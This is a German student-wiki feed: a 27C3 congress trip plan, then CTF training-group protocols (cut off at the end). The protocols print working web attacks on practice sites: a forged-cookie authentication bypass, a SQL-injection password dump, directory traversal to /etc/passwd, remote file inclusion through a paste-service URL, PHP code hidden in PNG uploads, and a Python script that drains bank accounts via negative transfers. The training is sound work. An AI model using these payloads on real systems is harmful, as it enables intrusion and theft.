Fachschaft Informatik - Benutzerbeiträge [de]

27C3

2010-12-27T14:18:33Z

81.163.36.71:

Dies ist die Seite zu dem im Jahr 2010 stattfindenden [[CCCongress]].

= nicht auf dem 27c3 und doch dabei? =
* [http://events.ccc.de/congress/2010/wiki/Peace_Missions Peace Missions]

= Telefonliste =

* 9942, Timme
* 9231, Björn
* 9897, Kjell
* 6653, Henning

= Hinfahrt =
Wir nehmen folgende Hinfahrt. Sollte das jmd nicht passen, bitte melden.
<pre>
Hamburg Hbf So, 26.12.10 ab 12:24 6a RE 4311
Schwerin Hbf So, 26.12.10 an 13:51 2
Umsteigezeit 26 Min. Umsteigezeit anpassen
Schwerin Hbf So, 26.12.10 ab 14:17 3 RE 37311
Berlin Hbf (tief) So, 26.12.10 an 16:29 1
</pre>

= Pennen =
FIXME: Vorschlag: http://events.ccc.de/congress/2010/wiki/U_inn_Berlin_Hostel_27C3_special fuer 13 Euro die Nacht im 8er Dorm, ist aber weit weg. Oder eben A&O: http://www.aohostels.com/de/berlin/hotel-mitte/buchung/

= Tickets =
Es wird Dauertickets nur im Vorverkauf geben!
Es wird Dauertickets nur im Vorverkauf geben!
Es wird Dauertickets nur im Vorverkauf geben!

Wenn du kein Ticket hast aber eins moechtest, konsultiere http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale bzw. https://presale.events.ccc.de/

= Rueckfahrt =
Wir fahren am 31.12.2010 um 05:16 Uhr von Berlin Hauptbahnhof mit dem ICE nach Hamburg Hauptbahnhof.

= Call for Participation =
<pre>
Hallo,

sicherlich hast du wie jedes Jahr schon lange auf diese E-Mail
gewartet ;-) Du bist ab sofort aufgefordert dich zu melden, wenn
du mit zum 27C3 fahren willst.

Kurz:
=======

27C3 - We come in peace
Hinfahrt : So. 26.12.10
Rückfahrt: Do. 30.12.10 / Fr 31.12.10
Kosten: ~165 E
Anmeldefrist: So. 21.11.10
Wie: E-Mail 4tmuelle@

ACHTUNG! Dieses mal gibt es _keine Abendkassentickets_ und Tickets
ACHTUNG! koennen nur im Vorverkauf erworben werden. Wer ein Ticket
ACHTUNG! haben moechte sollte es moeglichst bald erwerben, da erwartet
ACHTUNG! erwartet wird, dass es einen grossen Ansturm geben wird.
ACHTUNG! Die naechsten Vorverkaufstickets werden am 11.11 freigegeben
ACHTUNG! es wird aber empfohlen sich schon jetzt im
ACHTUNG! Vorverkaufssystem[1] zu registrieren, da der Account 24h zur
ACHTUNG! Aktivierung braucht.

[1] https://presale.events.ccc.de/accounts/sign_in

Lang:
=======

Der 27C3 ist der 27te Chaos Communication Congress in Berlin und findet
wie immer vom 27.12 bis zum 30.12 im Berliner Congress Center statt.

Wir werden mit der Bahn hin- und zurückfahren und während der Zeit in
einem Hostel übernachten.

Auf der "europäischen Hackerkonferenz" wird es vornehmlich eine Menge
Vorträge im Bereich Hacking, Science, Society, Culture und Community,
und viele fast schlaflose Nächte geben.

Ein Zitat von der 27C3-Seite [1]:
| The 27C3 is the annual four-day conference organized by the Chaos
| Computer Club (CCC) in Berlin, Germany.
| The Congress offers lectures and workshops on a multitude of topics
| and attracts a diverse audience of thousands of hackers, scientists,
| artists, and utopians from all around the world. The 27C3's slogan is
| “We come in peace”.
|
| For 27 years, the congress is organized by the community and
| appreciates all kind of participation. You are encouraged to
| contribute by volunteering, setting up and attending hands-on
| events or presenting your own projects to fellow hackers.

Die Hinfahrt wird am 26.12 gegen Mittag mit Regionalbahnen stattfinden.
Übernachten werden wir vorraussichtlich im A&O Hostel Berlin Mitte.
Wer am 30ten zurückfahren möchte, hat hier die Auswahl zwischen früh und
günstig fahren oder spät und nicht ganz so günstig. Die frühe Variante
wäre mit Regionalbahnen und würde bereits um 19 Uhr in Berlin starten,
damit würdest du die letzten Vorträge verpassen. Die späte Rückfahrt
wäre mit dem ICE gegen 23 Uhr und wird 15-20 Euro mehr kosten, je
nachdem, welche Tickets verfügbar sind.

Tickets fuer die Konferenz gibt es nur im Vorverkauf. Wenn du noch kein Ticket organisiert hast, schau auf http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale. Alternativ kannst du bestimmt einen befreundeten Hacker mit Bier oder schoenen Pflanzen bestechen, dir evtl. ein Ticket zu besorgen.
Um es glasklar zu machen: Es wird auf dem CCCongress *keine* Dauertickets geben. Wenn du noch kein Dauerticket hast, wirst du nicht in der Lage sein, an der ganzen Konferenz teil zu nehmen.
Falls du kein Ticket abbekommen hast gibt es die Moeglichkeit den CCCongress in einem Hackerspace deiner Wahl zu erleben. Mindestens der Attraktor wird "Peace Missions" abhalten. Fuer mehr Informationen schau auf http://events.ccc.de/congress/2010/wiki/Peace_Missions

Da im letztem Jahr einige noch anschliesend auf der C-Base-Party waren
und erst am nächstem Tag zurueck gefahren sind, kam die Idee auf beim
nächsten mal (sprich dieses mal) das Hostel länger zu buchen. Daher gibt
es diesesmal die Option eine weitere Nacht im Hostel zu bleiben und erst
am nächsten Tag zurueck zufahren. Die zusätzlichen Kosten sind davon
abhängig wie viele dann länger dableiben. Man kann bei der C-Base-Party
aber auch sein Gepäck abgeben und die Nacht durchmachen :-)
Fuer die Rueckfahrt bietet sich dann der Berlin-Linienbus an.

Wenn auch du Lust bekommen hast, dieses Jahr dabei zu sein, antworte bis zum

Sonntag, den 21.11.2010 23:59h CET

an 4tmuelle@ und teile mit, ob du

[ ] hinfahren
uebernachten
( ) bis zum 30.
( ) bis zum 31.
zurueckfahren
( ) früh am 30.
( ) spät am 30.
( ) am 31.

willst oder irgendwelche Extrawünsche hast.

Die Kosten belaufen sich derzeit auf ca.

~75 Euro für die Übernachtung (4x~18.75)
~ 8 Euro Hinfahrt
~11 Euro frühe Rückfahrt oder ~30 Euro für die späte Ruckfahrt
70 Euro Eintritt[2]
--------------------
165 Euro Gesamt (früh) / 185 Euro Gesamt (spät)

Ansonsten findest du weitere Informationen auf der Website des
Kongress[3] und in unserem Fachschaftswiki[4].

Gruß,
Muelli

[1] http://events.ccc.de/congress/2010/wiki/Main_Page
[2] Solltet ihr Mitglied im CCC sein kostet der Eintritt nur 45 Euro,
der Jahresbeitrag betraegt fuer Studenten 36 Euro und die bekommt
die letzte sowie alle folgenden Datenschleudern. Folglich: Mitglied
werden lohnt sich, am besten gleich das Formular unter
http://ccc.de/de/membership ausfuellen!
[3] http://events.ccc.de/congress/2010/
[4] http://mafiasi.de/27C3

</pre>

27C3

2010-12-26T21:33:03Z

81.163.36.27: peace missions

Dies ist die Seite zu dem im Jahr 2010 stattfindenden [[CCCongress]].

= nicht auf dem 27c3 und doch dabei? =
* [http://events.ccc.de/congress/2010/wiki/Peace_Missions Peace Missions]

= Hinfahrt =
Wir nehmen folgende Hinfahrt. Sollte das jmd nicht passen, bitte melden.
<pre>
Hamburg Hbf So, 26.12.10 ab 12:24 6a RE 4311
Schwerin Hbf So, 26.12.10 an 13:51 2
Umsteigezeit 26 Min. Umsteigezeit anpassen
Schwerin Hbf So, 26.12.10 ab 14:17 3 RE 37311
Berlin Hbf (tief) So, 26.12.10 an 16:29 1
</pre>

= Pennen =
FIXME: Vorschlag: http://events.ccc.de/congress/2010/wiki/U_inn_Berlin_Hostel_27C3_special fuer 13 Euro die Nacht im 8er Dorm, ist aber weit weg. Oder eben A&O: http://www.aohostels.com/de/berlin/hotel-mitte/buchung/

= Tickets =
Es wird Dauertickets nur im Vorverkauf geben!
Es wird Dauertickets nur im Vorverkauf geben!
Es wird Dauertickets nur im Vorverkauf geben!

Wenn du kein Ticket hast aber eins moechtest, konsultiere http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale bzw. https://presale.events.ccc.de/

= Rueckfahrt =
Wir fahren am 31.12.2010 um 05:16 Uhr von Berlin Hauptbahnhof mit dem ICE nach Hamburg Hauptbahnhof.

= Call for Participation =
<pre>
Hallo,

sicherlich hast du wie jedes Jahr schon lange auf diese E-Mail
gewartet ;-) Du bist ab sofort aufgefordert dich zu melden, wenn
du mit zum 27C3 fahren willst.

Kurz:
=======

27C3 - We come in peace
Hinfahrt : So. 26.12.10
Rückfahrt: Do. 30.12.10 / Fr 31.12.10
Kosten: ~165 E
Anmeldefrist: So. 21.11.10
Wie: E-Mail 4tmuelle@

ACHTUNG! Dieses mal gibt es _keine Abendkassentickets_ und Tickets
ACHTUNG! koennen nur im Vorverkauf erworben werden. Wer ein Ticket
ACHTUNG! haben moechte sollte es moeglichst bald erwerben, da erwartet
ACHTUNG! erwartet wird, dass es einen grossen Ansturm geben wird.
ACHTUNG! Die naechsten Vorverkaufstickets werden am 11.11 freigegeben
ACHTUNG! es wird aber empfohlen sich schon jetzt im
ACHTUNG! Vorverkaufssystem[1] zu registrieren, da der Account 24h zur
ACHTUNG! Aktivierung braucht.

[1] https://presale.events.ccc.de/accounts/sign_in

Lang:
=======

Der 27C3 ist der 27te Chaos Communication Congress in Berlin und findet
wie immer vom 27.12 bis zum 30.12 im Berliner Congress Center statt.

Wir werden mit der Bahn hin- und zurückfahren und während der Zeit in
einem Hostel übernachten.

Auf der "europäischen Hackerkonferenz" wird es vornehmlich eine Menge
Vorträge im Bereich Hacking, Science, Society, Culture und Community,
und viele fast schlaflose Nächte geben.

Ein Zitat von der 27C3-Seite [1]:
| The 27C3 is the annual four-day conference organized by the Chaos
| Computer Club (CCC) in Berlin, Germany.
| The Congress offers lectures and workshops on a multitude of topics
| and attracts a diverse audience of thousands of hackers, scientists,
| artists, and utopians from all around the world. The 27C3's slogan is
| “We come in peace”.
|
| For 27 years, the congress is organized by the community and
| appreciates all kind of participation. You are encouraged to
| contribute by volunteering, setting up and attending hands-on
| events or presenting your own projects to fellow hackers.

Die Hinfahrt wird am 26.12 gegen Mittag mit Regionalbahnen stattfinden.
Übernachten werden wir vorraussichtlich im A&O Hostel Berlin Mitte.
Wer am 30ten zurückfahren möchte, hat hier die Auswahl zwischen früh und
günstig fahren oder spät und nicht ganz so günstig. Die frühe Variante
wäre mit Regionalbahnen und würde bereits um 19 Uhr in Berlin starten,
damit würdest du die letzten Vorträge verpassen. Die späte Rückfahrt
wäre mit dem ICE gegen 23 Uhr und wird 15-20 Euro mehr kosten, je
nachdem, welche Tickets verfügbar sind.

Tickets fuer die Konferenz gibt es nur im Vorverkauf. Wenn du noch kein Ticket organisiert hast, schau auf http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale. Alternativ kannst du bestimmt einen befreundeten Hacker mit Bier oder schoenen Pflanzen bestechen, dir evtl. ein Ticket zu besorgen.
Um es glasklar zu machen: Es wird auf dem CCCongress *keine* Dauertickets geben. Wenn du noch kein Dauerticket hast, wirst du nicht in der Lage sein, an der ganzen Konferenz teil zu nehmen.
Falls du kein Ticket abbekommen hast gibt es die Moeglichkeit den CCCongress in einem Hackerspace deiner Wahl zu erleben. Mindestens der Attraktor wird "Peace Missions" abhalten. Fuer mehr Informationen schau auf http://events.ccc.de/congress/2010/wiki/Peace_Missions

Da im letztem Jahr einige noch anschliesend auf der C-Base-Party waren
und erst am nächstem Tag zurueck gefahren sind, kam die Idee auf beim
nächsten mal (sprich dieses mal) das Hostel länger zu buchen. Daher gibt
es diesesmal die Option eine weitere Nacht im Hostel zu bleiben und erst
am nächsten Tag zurueck zufahren. Die zusätzlichen Kosten sind davon
abhängig wie viele dann länger dableiben. Man kann bei der C-Base-Party
aber auch sein Gepäck abgeben und die Nacht durchmachen :-)
Fuer die Rueckfahrt bietet sich dann der Berlin-Linienbus an.

Wenn auch du Lust bekommen hast, dieses Jahr dabei zu sein, antworte bis zum

Sonntag, den 21.11.2010 23:59h CET

an 4tmuelle@ und teile mit, ob du

[ ] hinfahren
uebernachten
( ) bis zum 30.
( ) bis zum 31.
zurueckfahren
( ) früh am 30.
( ) spät am 30.
( ) am 31.

willst oder irgendwelche Extrawünsche hast.

Die Kosten belaufen sich derzeit auf ca.

~75 Euro für die Übernachtung (4x~18.75)
~ 8 Euro Hinfahrt
~11 Euro frühe Rückfahrt oder ~30 Euro für die späte Ruckfahrt
70 Euro Eintritt[2]
--------------------
165 Euro Gesamt (früh) / 185 Euro Gesamt (spät)

Ansonsten findest du weitere Informationen auf der Website des
Kongress[3] und in unserem Fachschaftswiki[4].

Gruß,
Muelli

[1] http://events.ccc.de/congress/2010/wiki/Main_Page
[2] Solltet ihr Mitglied im CCC sein kostet der Eintritt nur 45 Euro,
der Jahresbeitrag betraegt fuer Studenten 36 Euro und die bekommt
die letzte sowie alle folgenden Datenschleudern. Folglich: Mitglied
werden lohnt sich, am besten gleich das Formular unter
http://ccc.de/de/membership ausfuellen!
[3] http://events.ccc.de/congress/2010/
[4] http://mafiasi.de/27C3

</pre>

CInsects/Protokolle/CInsects:Treffen-2010-12-14

2010-12-26T21:25:38Z

81.163.36.27: /* Cockie Angriff */

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns mit drei Themen befasst:
* Vorbereitung RuCTFe
* Angriff einer fiktiven Bank mit veränderten Cockies
* Angriff eines fiktiven sozialen Netzwerkes mit verschiedenen, bereits aus früheren Treffen bekannten, Angriffsmethoden.

== Vorbereitung RuCTFe ==
Vorstellung des CTF Tools. Funktionen sind u.a.:
* Möglichkeit exploits zu übermitteln die automatisch ausgeführt werden und Flaggen übermitteln können.
* Manuelle Übermittlung von Flaggen.
* Pinboard, wer an welchem Serivce arbeitet/gearbeitet hat
* base64 encode/decode
* Erkennen von Angriffen anderer Teams auf unseren Server.

== Ausnutzen eines Typfehlers ==
Im Falle der, im Vergleich zum vorherigen Treffen, neuen badbank.cinsects.de und des sozialen Netzwerks stasivz.cinsects.de, haben wir uns damit befasst wie man sich Zugang zu fremden Benutzerkonten verschaffen kann.

Am Beispiel der bandbank:

Zunächst loggen wir uns mit dem eigenen Account z.B. Name: Anna, PW: 8nZymX62qJ ein und setzen zuvor den Haken bei []Eingeloggt bleiben. Nun wurden zwei Cokies erstellt, die wir mit der FF Erweiterung Web Developer anschauen, verändern und löschen können. Der eine ist eine Session ID (NAME: PHPSESSID), der andere wird dazu verwendet, um uns bei einem weiteren Besuch automatisch anzumelden (NAME: autologin). Dieser ist der für uns interessante Cockie. Schauen wir uns den zweiten Cokcie genauer an, so erkennen wir, dass es sich bei dem Inhalt um URLencodeten Inhalt
(z.B. a%3A2%3A%7Bs%3A7%3A%22user_id%22%3Bi%3A26%3Bs%3A8%3A%22password%22%3Bs%3A40%3A%22a35d4fba8d9dc01e864ca65b1f161d0493b39481%22%3B%7D)
handelt. Naheliegen ist, dass wir diesen einmal decoden (FF Erweiterung hackbar) und uns anschauen, was an Inhalt
(a:2:{s:7:"user_id";i:26;s:8:"password";s:40:"a35d4fba8d9dc01e864ca65b1f161d0493b39481";})
vorliegt. Wir sehen, dass eine user id vergeben ist, und ein password hash. Wir können diese Werte in der hackbar frei verändern, nahe liegt also eine andere id anzugeben um auf ein anderes Konto zu springen.

Doch haben wir noch das Problem, dass wir dazu keinen gültigen hash haben. Aufgrund einer etwas älteren Sicherheitslücke, die für uns geleakt wurde, war dies jedoch auszutrixen, indem wir b:1 als passwort Wert gesetzt haben. FIXME(Was macht er da im Code genau, warum geht das)FIXME

Das Ergebnis konnte dann z.B. so aussehen:
a:2:{s:7:"user_id";i:5;s:8:"password";b:1;}

Nun mussten wir diesen veränderten Wert wieder encoden und in den Cockie schrieben (hackbar+web developer). Der Session Cockie musste zu letzt noch gelöscht werden, und hat man nun die Seite der badbank neu geladen, war man mit dem Nutzer der angegebenen id eingeloggt.

Gleiches Prinzip funktionierte auch bei dem sozialien Netzwerk stasivz.cinsects.de. Das Format des decodeten Inhalts des Cockies war etwas anders, so wurde ein String als ID erwartet, jedoch leicht abzuleiten aus dem der bandbank.

== Weitere Angriffe aus stasivz ==
Einloggen mit Name: John@example.com, PW: example

Eine Möglichkeit bestand darin, im Suchfeld für Personen
'#
einzugeben und damit eine Liste aller Nutzer des Netzwerks mit einem Link auf ihre jeweiligen Seiten zu erhalten.

Eine andere Möglichkeit bestand darin, eine UNION SELECT auf die Personensuche anzuwenden, um z.B. die Passwörter der Nutzer auszulesen:
' UNION SELECT 1,password,3 from user#

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-23

2010-12-26T21:12:35Z

81.163.36.27: fixme

Diese Seite ist eine Unterseite von [[CInsects]].

== Ablauf ==
FIXME


== Sonstiges ==
FIXME

== Links ==
FIXME

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-16

2010-12-26T21:00:08Z

81.163.36.27: /* Ein moeglicher Exploit */

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.

= Exploit =

== Schnelles auslesen der Kontonummern ueber gevent ==
<pre>
from gevent import monkey
monkey.patch_socket()

import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
params = urllib.urlencode({
'user': user,
'password': password
})
urllib2.urlopen(url + '/index.php', params)

# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
params = urllib.urlencode({
'name': searchterm
})
data = urllib2.urlopen(url + '/index.php?page=search', params).read()
return account_re.findall(data)

if __name__ == '__main__':
login('Jan', 'AZyNEBAeTC')
searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
gevent.joinall(jobs, timeout=120)
# Ergebnisse lesen und Liste flachklopfen
accounts = list(chain(*[job.value for job in jobs]))
print accounts
</pre>

Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):
<pre>
real 0m19.563s
user 0m1.356s
sys 0m0.240s
</pre>

ein kleines Script welches die übersicht über den Kontostand.
<pre>
import urllib
import urllib2
import cookielib
import re
import time

selfkn='43568'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
params = urllib.urlencode({
'user': user,
'password': password
})
urllib2.urlopen(url + '/index.php', params)

def printKonto():
text=urllib2.urlopen(url + '/index.php').read()
#print text
print re.findall('hat (\d+) toxische Dollar.</p>',text)[0]

print 'Login....'
login('xxx', 'xxx')
print 'kontoabfrage...'
while True:
printKonto()
time.sleep(5)

</pre>

== Volautomatischen geldklauen ==
Ein Script welches vollautomatisch Konten plündert. Eine erweiterung von Hennings Script. Benutzt getenv (ist im fbivpn nicht so gut, man wird dann wiederholt für einige Minuten gesperrt), Kontodaten werden nach dem ersten anwenden in einer Datei zwischengespeichert.
<pre>

from gevent import monkey
monkey.patch_socket()

import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent
import os.path

selfkn='43568'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
params = urllib.urlencode({
'user': user,
'password': password
})
urllib2.urlopen(url + '/index.php', params)

# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
params = urllib.urlencode({
'name': searchterm
})
while True:
try:
data = urllib2.urlopen(url + '/index.php?page=search', params).read()
break
except:
pass
print '...Konto mit '+searchterm+' untersucht'
return account_re.findall(data)

def ueberweise(konto,betrag):
data = urllib.urlencode({
'account':konto,
'tan_id':176,
'amount':betrag *-1,
'tan':697768
})
while True:
try:
request = urllib2.urlopen(url + '/index.php?page=transfer',data)
break
except:
pass
ant=request.read()
if(re.findall('(folgreich)',ant)):
print 'Konto %s um %s Geld erleichtert' % (konto,betrag)
return True
return False

def plundern(konto):
menge=1
bad=0
if(konto==selfkn):
return 0;#sich selbst muss man kein geld ueberweisen
while True:
if(ueberweise(konto,menge)):
menge*=2
bad=0
else:
if(menge>1):
menge/=2
else:
# time.sleep(5)
bad+=1
if(bad>10):
print 'Konto %s ist ganz Leer' % (konto)
break
return 1

if __name__ == '__main__':
print 'Login....'
#login('Doerte', 'NMrSymamb2')
print 'Suche Konten'
if(os.path.exists('konten')):
accounts=[]
ko=open('konten')
while True:
test=ko.read(5)
if(test==''):
break
accounts.append(test)
ko.read(1)
else:
searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
gevent.joinall(jobs, timeout=500)
# Ergebnisse lesen und Liste flachklopfen
accounts = list(chain(*[job.value for job in jobs]))
#print accounts
print 'Konten gefunden'
jobs = [gevent.spawn(plundern,konto) for konto in accounts]
gevent.joinall(jobs, timeout=500)

</pre>
[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-12-07

2010-12-26T20:59:00Z

81.163.36.27: init

Diese Seite ist eine Unterseite von [[CInsects]].

== Ablauf ==
Heute haben wir kurz darueber gesprochen wie der UCSB iCTF abgelaufen ist. Dazu gab es eine Feedbackrunde. Anschliessend wurden beispielhaft ein paar Exploits und Challenges vom CTF durchgesprochen.

=== Feedbackrunde UCSB iCTF ===
* Es waren zum Aufraeumen zuwenige Leute da. Viele sind einfach abgehauen.
* Es waren zuviele Zuschauer da

=== Exploits und Challenges ===
FIXME

== Sonstiges ==
FIXME

== Links ==
* [http://ictf.cs.ucsb.edu/ UCSB iCTF]

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-30

2010-12-26T20:47:02Z

81.163.36.27: init

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir vorgestellt was ein Capture-The-Flag-Wettbewerb ist; wir wollten uns auf den UCSB iCTF vorbereiten.

== Ablauf ==
Eine Erklaerung was ein klassischer CTF ist kann man [http://www.cipher-ctf.org/CaptureTheFlag.php hier] nachlesen. Der UCSB iCTF ist in den letzten Jahren etwas von der klassischen Form mutiert. Jedes Team erhaelt ein verschluesseltes Betriebssystem-Image, zu dem es den Schluessel erst zu Beginn des Spiels gibt. Danach geht es daran die Regeln des CTF zu verstehen und eine Strategie zu entwickeln das Spiel zu gewinnen. Das Spielkonzept zu verstehen ist essentiell bei diesem CTF, da es sich sehr von den normalen unterscheidet.

Anschliessend haben wir die Notebooks an das vorbereitete CTF-Netz angeschlossen und uns ein Image eines aelteren CTFs angeschaut und daran gezeigt wo Services liegen koennen, falls es Services gibt.

== Links ==
* [http://ictf.cs.ucsb.edu/ Webseite vom UCSB iCTF]
* [http://www.cipher-ctf.org/CaptureTheFlag.php Erklaerung wie ein klassischer CTF-Wettbewerb ablaeuft]

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-09

2010-12-26T20:29:28Z

81.163.36.27: /* Ablauf */ init

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.

== Ablauf ==
An diesem Tag haben wir uns weiter mit Remote-Code-Execution beschaeftigt. Nach der Einteilung in Kleingruppen haben wir uns wieder ein paar Hackits gewidmet.

== Hackit 2 ==
FIXME

=== Quelltext ===

<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news">News</a></li>
<li><a href="?page=memberz">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include($_GET['page'] . '.php');
} else {
include('news.php');
}
?>
</div>
</pre>

== Hackit 3 ==
FIXME

=== Quelltext ===

<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news">News</a></li>
<li><a href="?page=memberz">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(strpos($_GET['page'], 'http://') !== false ||
strpos($_GET['page'], 'ftp://') !== false ||
strpos($_GET['page'], '../') !== false ||
strpos($_GET['page'], '/etc/passwd') !== false) {
die('Do not be EVIL!');
}

if(isset($_GET['page'])) {
include($_GET['page'] . '.php');
} else {
include('news.php');
}
?>
</div>
</pre>

== Sonstiges ==
FIXME

== Links ==
* [http://unicorn.gnubo.de/~henning/beispiele.php Beispiele fuer Nicht-PHP-Koenner]

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-09

2010-12-26T20:28:26Z

81.163.36.27: /* Ablauf */ init

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.

== Ablauf ==
FIXME

== Hackit 2 ==
FIXME

=== Quelltext ===

<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news">News</a></li>
<li><a href="?page=memberz">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include($_GET['page'] . '.php');
} else {
include('news.php');
}
?>
</div>
</pre>

== Hackit 3 ==
FIXME

=== Quelltext ===

<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news">News</a></li>
<li><a href="?page=memberz">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(strpos($_GET['page'], 'http://') !== false ||
strpos($_GET['page'], 'ftp://') !== false ||
strpos($_GET['page'], '../') !== false ||
strpos($_GET['page'], '/etc/passwd') !== false) {
die('Do not be EVIL!');
}

if(isset($_GET['page'])) {
include($_GET['page'] . '.php');
} else {
include('news.php');
}
?>
</div>
</pre>

== Sonstiges ==
FIXME

== Links ==
* [http://unicorn.gnubo.de/~henning/beispiele.php Beispiele fuer Nicht-PHP-Koenner]

[[Kategorie: CInsects-Protokolle]]

CInsects/Protokolle/CInsects:Treffen-2010-11-02

2010-12-26T20:25:46Z

81.163.36.27: /* Quelltext */ wikify

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.

== Ablauf ==
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.

== Hackit 1 ==

Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.

=== Directory Traversal ===

Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.

=== Remote Code Inclusion/Execution ===

Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=<nowiki>http://dpaste.com/</nowiki><Zahl>/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.

=== Quelltext ===
'''index.php'''
<pre>
<h1>Welcome to our cool clan page!</h1>
<div style="float:left;">
<ul>
<li><a href="?page=news.php">News</a></li>
<li><a href="?page=memberz.php">Memberz</a></li>
</ul>
</div>
<div id="content" style="margin-left:10em;">
<?php
if(isset($_GET['page'])) {
include($_GET['page']);
} else {
include('news.php');
}
?>
</div>
</pre>

== Hackit 1.5 ==

Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.

=== Hochladen eines "Bildes" ===
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.

=== Hochladen von foo.php.png ===

Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.

=== Kommentar von PNG-Dateien ===
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.

=== Quelltext ===
'''index.php:'''
<pre>
